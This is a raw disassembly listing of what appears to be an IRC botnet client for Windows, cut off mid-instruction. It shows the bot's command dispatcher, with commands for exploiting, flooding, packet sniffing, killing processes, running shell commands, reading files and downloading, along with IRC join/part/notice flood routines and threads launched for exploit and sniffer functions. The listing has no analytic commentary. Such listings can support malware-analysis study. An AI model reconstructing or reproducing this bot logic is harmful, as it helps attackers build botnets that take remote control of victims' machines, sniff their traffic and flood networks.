--------------------------------------------------------------------------- loc_4049B3: ; CODE XREF: sub_401ACD+ED7j ; sub_401ACD+EECj push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403446 call sub_40B583 push ebx call dword_42706C ; ExitProcess loc_4049D9: ; CODE XREF: sub_401ACD+19B1j push offset aGet ; "get" push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404A67 cmp dword_4CF180, ebx jz short loc_404A01 push offset dword_4CEB60 loc_4049F7: ; CODE XREF: sub_401ACD+2F98j push offset unk_42BA88 jmp loc_404A97 ; --------------------------------------------------------------------------- loc_404A01: ; CODE XREF: sub_401ACD+2F23j push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call dword_427214 ; getsockname movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E24] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_E24] push eax jmp short loc_4049F7 ; --------------------------------------------------------------------------- loc_404A67: ; CODE XREF: sub_401ACD+2F1Bj push edi call dword_4CBA14 ; inet_addr cmp eax, 0FFFFFFFFh push edi jnz short loc_404A7B push offset unk_42BA48 jmp short loc_404A97 ; --------------------------------------------------------------------------- loc_404A7B: ; CODE XREF: sub_401ACD+2FA5j push offset dword_4CEB60 call sub_41C890 pop ecx mov dword_4CF180, 1 pop ecx push edi push offset unk_42BA1C loc_404A97: ; CODE XREF: sub_401ACD+2F2Fj ; sub_401ACD+2FACj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_40349D ; --------------------------------------------------------------------------- loc_404AAB: ; CODE XREF: sub_401ACD+199Cj push [ebp+arg_8] push offset aExploit ; "exploit" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_404BB1 mov eax, [ebp+var_4] mov esi, 80h mov [ebp+var_13E8], eax mov eax, [ebp+var_8] mov [ebp+var_13E4], eax mov eax, [ebp+arg_4] mov [ebp+var_13F8], eax push offset aF ; "#f" lea eax, [ebp+var_1478] push esi push eax mov [ebp+var_13F0], 1 call sub_41C360 add esp, 0Ch lea eax, [ebp+var_14F8] push offset aF ; "#f" push esi push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_1508] push edi push 10h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_1508] push eax lea eax, [ebp+var_2C4] push offset unk_42B9E4 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B3BA add esp, 18h mov [ebp+var_13EC], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1508] push ebx push eax push offset sub_40BB65 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_13EC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_404BA0 loc_404B8A: ; CODE XREF: sub_401ACD+30D1j cmp [ebp+var_13E0], ebx jnz loc_4081AD push 32h call dword_427080 ; Sleep jmp short loc_404B8A ; --------------------------------------------------------------------------- loc_404BA0: ; CODE XREF: sub_401ACD+30BBj call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42B9A4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404BB1: ; CODE XREF: sub_401ACD+2FEFj push [ebp+arg_8] push offset aReconnect_in ; "reconnect.in" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095B4 push [ebp+arg_8] push offset aRin ; "rin" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095B4 push [ebp+arg_8] push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409570 push [ebp+arg_8] push offset aRinms ; "rinms" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409570 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4057B7 call dword_4270B0 ; GetTickCount push eax call sub_41C2B8 push edi push offset aLoad ; "load" call sub_41CA50 add esp, 0Ch test eax, eax jnz short loc_404CB7 cmp [ebp+esi+var_80], ebx jz short loc_404CB7 push [ebp+esi+var_80] call sub_41C159 pop ecx push eax push [ebp+esi+var_84] call sub_41C159 pop ecx push eax push [ebp+esi+var_88] call sub_417E06 add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B93C push eax call sub_41C266 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CB7 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_404CB7: ; CODE XREF: sub_401ACD+3173j ; sub_401ACD+3179j ... push edi push offset dword_42B938 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404D21 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D21 push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_47F0] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_47F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404D21: ; CODE XREF: sub_401ACD+31F9j ; sub_401ACD+3204j push edi push offset dword_42B920 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404D8B mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D8B push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_4AF4] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_4AF4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B90C push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404D8B: ; CODE XREF: sub_401ACD+3263j ; sub_401ACD+326Ej push edi push offset aNt ; "nt" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404DF5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DF5 push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_48F0] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404DF5: ; CODE XREF: sub_401ACD+32CDj ; sub_401ACD+32D8j push edi push offset aMode ; "mode" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404E5F mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E5F push offset asc_42CDC0 ; " " push offset dword_42B934 push eax call sub_41843B push eax lea eax, [ebp+var_4FF8] push eax call sub_41C890 add esp, 14h lea eax, [ebp+var_4FF8] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404E5F: ; CODE XREF: sub_401ACD+3337j ; sub_401ACD+3342j push edi push offset aJoin ; "join" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404E9C mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404E9C push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404E9C: ; CODE XREF: sub_401ACD+33A1j ; sub_401ACD+33ACj push edi push offset aPart_0 ; "part" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404ED9 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404ED9 push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404ED9: ; CODE XREF: sub_401ACD+33DEj ; sub_401ACD+33E9j push edi push offset aPartflood ; "partflood" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404F1B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F1B push offset dword_427620 push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_404F1B: ; CODE XREF: sub_401ACD+341Bj ; sub_401ACD+3426j push edi push offset aPnick ; "pnick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404F92 cmp [ebp+esi+var_88], ebx jz short loc_404F92 call dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B8] push edx push [ebp+esi+var_88] push offset dword_42B89C push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_17B8] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_404F92: ; CODE XREF: sub_401ACD+345Dj ; sub_401ACD+3466j push edi push offset dword_42B888 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4050E9 cmp [ebp+esi+var_88], ebx jz loc_4050E9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427620 push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx call dword_427080 ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx call dword_427080 ; Sleep push offset dword_427620 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 0C8h idiv ecx push edx call dword_427080 ; Sleep push offset dword_427620 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4050E9: ; CODE XREF: sub_401ACD+34D4j ; sub_401ACD+34E1j push edi push offset dword_42B884 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405181 cmp [ebp+esi+var_88], ebx jz short loc_405181 call dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C2C2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B85C push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 24h loc_405181: ; CODE XREF: sub_401ACD+362Bj ; sub_401ACD+3638j push edi push offset aNick_0 ; "nick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405289 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_405289 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F lea eax, [ebp+var_4BC] push eax call sub_417E84 add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call dword_427080 ; Sleep lea eax, [ebp+var_4BC] push eax call sub_417E84 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 1F4h idiv ecx push edx call dword_427080 ; Sleep lea eax, [ebp+var_4BC] push eax call sub_417E84 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_405289: ; CODE XREF: sub_401ACD+36C3j ; sub_401ACD+36D2j push edi push offset aChgnick ; "chgnick" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4052CE lea eax, [ebp+var_180C] push eax call sub_417E84 pop ecx lea eax, [ebp+var_180C] push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_4052CE: ; CODE XREF: sub_401ACD+37CBj push edi push offset aMsg ; "msg" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4053C3 cmp [ebp+esi+var_88], ebx jz loc_4053C3 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427624 push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx call dword_427080 ; Sleep push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx call dword_427080 ; Sleep push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B924 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4053C3: ; CODE XREF: sub_401ACD+3810j ; sub_401ACD+381Dj push edi push offset aNotice_0 ; "notice" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4054B8 cmp [ebp+esi+var_88], ebx jz loc_4054B8 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push offset dword_427624 push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 3E8h idiv ecx push edx call dword_427080 ; Sleep push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 384h idiv ecx push edx call dword_427080 ; Sleep push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_4054B8: ; CODE XREF: sub_401ACD+3905j ; sub_401ACD+3912j push edi push offset aCtcp ; "ctcp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4055D9 cmp [ebp+esi+var_88], ebx jz loc_4055D9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B814 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call dword_427080 ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7FC push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call dword_427080 ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E4 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call dword_427080 ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E4 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h loc_4055D9: ; CODE XREF: sub_401ACD+39FAj ; sub_401ACD+3A07j push edi push offset aMix ; "mix" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405709 cmp [ebp+esi+var_88], ebx jz loc_405709 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B814 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 10h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call dword_427080 ; Sleep push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call dword_427080 ; Sleep push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h call sub_41C2C2 cdq mov ecx, 514h idiv ecx push edx call dword_427080 ; Sleep push offset dword_427624 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_405709: ; CODE XREF: sub_401ACD+3B1Bj ; sub_401ACD+3B28j push edi push offset aRegister ; "register" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40574D mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_40574D push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_417B2F add esp, 14h loc_40574D: ; CODE XREF: sub_401ACD+3C4Bj ; sub_401ACD+3C56j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40619B mov [ebp+arg_18], offset dword_4D4A5C loc_405769: ; CODE XREF: sub_401ACD+3CC0j mov eax, [ebp+arg_18] cmp dword ptr [eax-4], 1 jnz short loc_40577F mov eax, [eax] cmp eax, ebx jbe short loc_40577F push eax call dword_4CBA6C ; closesocket loc_40577F: ; CODE XREF: sub_401ACD+3CA3j ; sub_401ACD+3CA9j add [ebp+arg_18], 210h cmp [ebp+arg_18], offset dword_4DB17C jl short loc_405769 cmp [ebp+var_8], ebx jnz loc_40619B push ebx push [ebp+var_4] push offset unk_42B784 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_40619B ; --------------------------------------------------------------------------- loc_4057B7: ; CODE XREF: sub_401ACD+3151j push [ebp+arg_8] push offset aNick_0 ; "nick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409554 push [ebp+arg_8] push offset aN ; "n" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409554 push [ebp+arg_8] push offset aJoin ; "join" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409531 push [ebp+arg_8] push offset aJ ; "j" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409531 push [ebp+arg_8] push offset aPart_0 ; "part" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409515 push [ebp+arg_8] push offset aPt ; "pt" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409515 push [ebp+arg_8] push offset aRaw ; "raw" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4094DB push [ebp+arg_8] push offset aR ; "r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4094DB push [ebp+arg_8] push offset aKillthread ; "killthread" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409418 push [ebp+arg_8] push offset aK ; "k" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409418 push [ebp+arg_8] push offset aC_quit ; "c_quit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40936D push [ebp+arg_8] push offset aC_q ; "c_q" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40936D push [ebp+arg_8] push offset aC_rndnick ; "c_rndnick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40931F push [ebp+arg_8] push offset aC_rn ; "c_rn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40931F push [ebp+arg_8] push offset aPrefix ; "prefix" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40930A push [ebp+arg_8] push offset aPr ; "pr" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40930A push [ebp+arg_8] push offset aOpen ; "open" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092E0 push [ebp+arg_8] push offset aO ; "o" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092E0 push [ebp+arg_8] push offset aServer ; "server" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092C7 push [ebp+arg_8] push offset aSe ; "se" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4092C7 push [ebp+arg_8] push offset aDns ; "dns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40925F push [ebp+arg_8] push offset aDn ; "dn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40925F push [ebp+arg_8] push offset aKillproc ; "killproc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409233 push [ebp+arg_8] push offset aKp ; "kp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_409233 push [ebp+arg_8] push offset aKill ; "kill" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091D8 push [ebp+arg_8] push offset aKi ; "ki" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091D8 push [ebp+arg_8] push offset aDelete ; "delete" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091A0 push [ebp+arg_8] push offset aDel ; "del" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4091A0 push [ebp+arg_8] push offset aGet ; "get" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090C3 push [ebp+arg_8] push offset aGt ; "gt" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090C3 push [ebp+arg_8] push offset aList ; "list" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090A5 push [ebp+arg_8] push offset aLi ; "li" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4090A5 push [ebp+arg_8] push offset aVisit ; "visit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408FB5 push [ebp+arg_8] push offset aV ; "v" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408FB5 push [ebp+arg_8] push offset aMirccmd ; "mirccmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F6F push [ebp+arg_8] push offset aMirc ; "mirc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F6F push [ebp+arg_8] push offset aCmd ; "cmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F18 push [ebp+arg_8] push offset aCm ; "cm" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408F18 push [ebp+arg_8] push offset aReadfile ; "readfile" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408EA1 push [ebp+arg_8] push offset aRf ; "rf" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408EA1 push [ebp+arg_8] push offset aPsniff ; "psniff" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405C9F push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405C67 push 20h call sub_40B602 test eax, eax pop ecx jle short loc_405B91 push offset dword_42B68C jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405B91: ; CODE XREF: sub_401ACD+40B8j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_F5C], eax mov eax, [ebp+var_4] mov [ebp+var_ED4], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_ED0], eax jnz short loc_405BD3 mov esi, offset aF_1 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405BD3 mov esi, [ebp+var_88] loc_405BD3: ; CODE XREF: sub_401ACD+40E8j ; sub_401ACD+40FEj push esi lea eax, [ebp+var_F58] push 80h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B65C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B3BA add esp, 14h mov [ebp+var_ED8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F5C] push ebx push eax push offset sub_412B61 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_ED8] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_405C56 loc_405C40: ; CODE XREF: sub_401ACD+4187j cmp [ebp+var_ECC], ebx jnz loc_4081AD push 32h call dword_427080 ; Sleep jmp short loc_405C40 ; --------------------------------------------------------------------------- loc_405C56: ; CODE XREF: sub_401ACD+4171j call dword_427094 ; RtlGetLastWin32Error push eax push offset dword_42B620 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405C67: ; CODE XREF: sub_401ACD+40A8j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 20h call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405C95 push eax push offset dword_42B5E4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405C95: ; CODE XREF: sub_401ACD+41BBj push offset dword_42B5B8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405C9F: ; CODE XREF: sub_401ACD+4093j push [ebp+arg_8] push offset aSniffer ; "sniffer" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405DEF push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405DB7 push 21h call sub_40B602 test eax, eax pop ecx jle short loc_405CE1 push offset unk_42B590 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405CE1: ; CODE XREF: sub_401ACD+4208j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC8], eax mov eax, [ebp+var_4] mov [ebp+var_E40], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E3C], eax jnz short loc_405D23 mov esi, offset aF_1 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405D23 mov esi, [ebp+var_88] loc_405D23: ; CODE XREF: sub_401ACD+4238j ; sub_401ACD+424Ej push esi lea eax, [ebp+var_EC4] push 80h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B564 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B3BA add esp, 14h mov [ebp+var_E44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC8] push ebx push eax push offset sub_4131EC push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_E44] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_405DA6 loc_405D90: ; CODE XREF: sub_401ACD+42D7j cmp [ebp+var_E38], ebx jnz loc_4081AD push 32h call dword_427080 ; Sleep jmp short loc_405D90 ; --------------------------------------------------------------------------- loc_405DA6: ; CODE XREF: sub_401ACD+42C1j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42B528 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405DB7: ; CODE XREF: sub_401ACD+41F8j push edi push offset aOff ; "off" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4081AD push ebx push 21h call sub_40B5B5 pop ecx cmp eax, ebx pop ecx jle short loc_405DE5 push eax push offset unk_42B4EC jmp loc_408E86 ; --------------------------------------------------------------------------- loc_405DE5: ; CODE XREF: sub_401ACD+430Bj push offset unk_42B4C0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405DEF: ; CODE XREF: sub_401ACD+41E3j push [ebp+arg_8] push offset aIdent ; "ident" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_405EC2 push edi push offset aOn ; "on" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405E8A push 2 call sub_40B602 test eax, eax pop ecx jle short loc_405E2D push offset dword_42B498 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_405E2D: ; CODE XREF: sub_401ACD+4354j lea eax, [ebp+var_2C4] push offset 